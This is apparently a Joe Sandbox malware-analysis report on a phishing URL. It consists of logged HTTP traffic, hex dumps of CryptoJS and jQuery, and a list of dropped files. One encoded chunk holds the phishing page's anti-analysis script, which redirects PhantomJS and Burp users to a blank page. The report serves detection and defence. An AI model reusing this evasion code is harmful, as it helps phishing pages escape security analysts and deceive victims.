2024-12-20 23:35:47 UTC	1369	IN	Data Raw: 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 69 34 31 63 6d 56 74 4f 32 5a 76 62 6e 51 74 64 32 56 70 5a 32 68 30 4f 6a 55 77 4d 44 74 73 61 57 35 6c 4c 57 68 6c 61 57 64 6f 64 44 6f 78 4c 6a 49 37 66 51 30 4b 49 33 68 4f 57 6b 35 59 57 47 70 48 54 45 73 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6d 4e 68 62 47 4d 6f 4d 53 34 7a 4b 54 74 39 44 51 70 41 62 57 56 6b 61 57 45 67 4b 47 31 70 62 69 31 33 61 57 52 30 61 44 6f 78 4d 6a 41 77 63 48 67 70 65 77 30 4b 49 33 68 4f 57 6b 35 59 57 47 70 48 54 45 73 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 65 45 35 61 54 6c 68 59 61 6b 64 4d 53 79 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 Data Ascii: mdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI3hOWk5YWGpHTEsgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI3hOWk5YWGpHTEsgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojeE5aTlhYakdMSyBwe21hcmdpbi10
2024-12-20 23:35:47 UTC	1369	IN	Data Raw: 35 6b 62 33 63 75 59 32 46 73 62 46 42 6f 59 57 35 30 62 32 30 67 66 48 77 67 64 32 6c 75 5a 47 39 33 4c 6c 39 77 61 47 46 75 64 47 39 74 49 48 78 38 49 47 35 68 64 6d 6c 6e 59 58 52 76 63 69 35 31 63 32 56 79 51 57 64 6c 62 6e 51 75 61 57 35 6a 62 48 56 6b 5a 58 4d 6f 49 6b 4a 31 63 6e 41 69 4b 53 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 33 61 57 35 6b 62 33 63 75 62 47 39 6a 59 58 52 70 62 32 34 67 50 53 41 69 59 57 4a 76 64 58 51 36 59 6d 78 68 62 6d 73 69 4f 77 30 4b 66 51 30 4b 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 57 52 6b 52 58 5a 6c 62 6e 52 4d 61 58 4e 30 5a 57 35 6c 63 69 67 6e 61 32 56 35 5a 47 39 33 62 69 63 73 49 47 5a 31 62 6d 4e 30 61 57 39 75 4b 47 56 32 5a 57 35 30 4b 53 42 37 44 51 6f 67 49 43 41 67 61 57 59 67 4b 47 56 32 5a Data Ascii: 5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2Z

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:49 UTC	651	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://gadk.quantumdhub.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:49 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 20 Dec 2024 23:35:49 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/787bc399e22f/api.js Server: cloudflare CF-RAY: 8f537376bdac424c-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:49 UTC	653	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://gadk.quantumdhub.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:49 UTC	964	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 23:35:49 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 193604 Expires: Wed, 10 Dec 2025 23:35:49 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k%2F8rmMMrYl5ebLfZZFlQqpRaGfcAy4mCmVY73GIQq9CBTOQ3eCZnHWDMI3of7lkN%2FzBAKw%2FqtrhpP0inXn%2F7NJ%2BaIk1TcnGHPh34BTJbK4thtHSRHMRYLHTnh2D0zN%2BCuLPAXzNO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f537376c9434376-EWR alt-svc: h3=":443"; ma=86400
2024-12-20 23:35:49 UTC	405	IN	Data Raw: 37 62 65 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bed!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-20 23:35:49 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 Data Ascii: typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Objec
2024-12-20 23:35:49 UTC	1369	IN	Data Raw: 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d Data Ascii: lone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.random
2024-12-20 23:35:49 UTC	1369	IN	Data Raw: 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d Data Ascii: "==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=
2024-12-20 23:35:49 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b Data Ascii: {for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[
2024-12-20 23:35:49 UTC	1369	IN	Data Raw: 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 Data Ascii: ?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<1
2024-12-20 23:35:49 UTC	1369	IN	Data Raw: 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 Data Ascii: buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={string
2024-12-20 23:35:49 UTC	1369	IN	Data Raw: 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b Data Ascii: o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJK
2024-12-20 23:35:49 UTC	1369	IN	Data Raw: 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 Data Ascii: .abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2024-12-20 23:35:49 UTC	1369	IN	Data Raw: 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 Data Ascii: A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 160

Chrome Cache Entry: 161

Chrome Cache Entry: 162

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Chrome Cache Entry: 165

Chrome Cache Entry: 166

Chrome Cache Entry: 167

Chrome Cache Entry: 168

Chrome Cache Entry: 169

Chrome Cache Entry: 170

Chrome Cache Entry: 171

Chrome Cache Entry: 172

Chrome Cache Entry: 173

Chrome Cache Entry: 174

Chrome Cache Entry: 175

Chrome Cache Entry: 176

Chrome Cache Entry: 177

Chrome Cache Entry: 178

Chrome Cache Entry: 179

Chrome Cache Entry: 180

Windows Analysis Report
https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:49 UTC	625	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://gadk.quantumdhub.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:49 UTC	614	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 20 Dec 2024 23:35:49 GMT Age: 3259281 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740057-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 27 X-Timer: S1734737750.662085,VS0,VE0 Vary: Accept-Encoding
2024-12-20 23:35:49 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-20 23:35:50 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
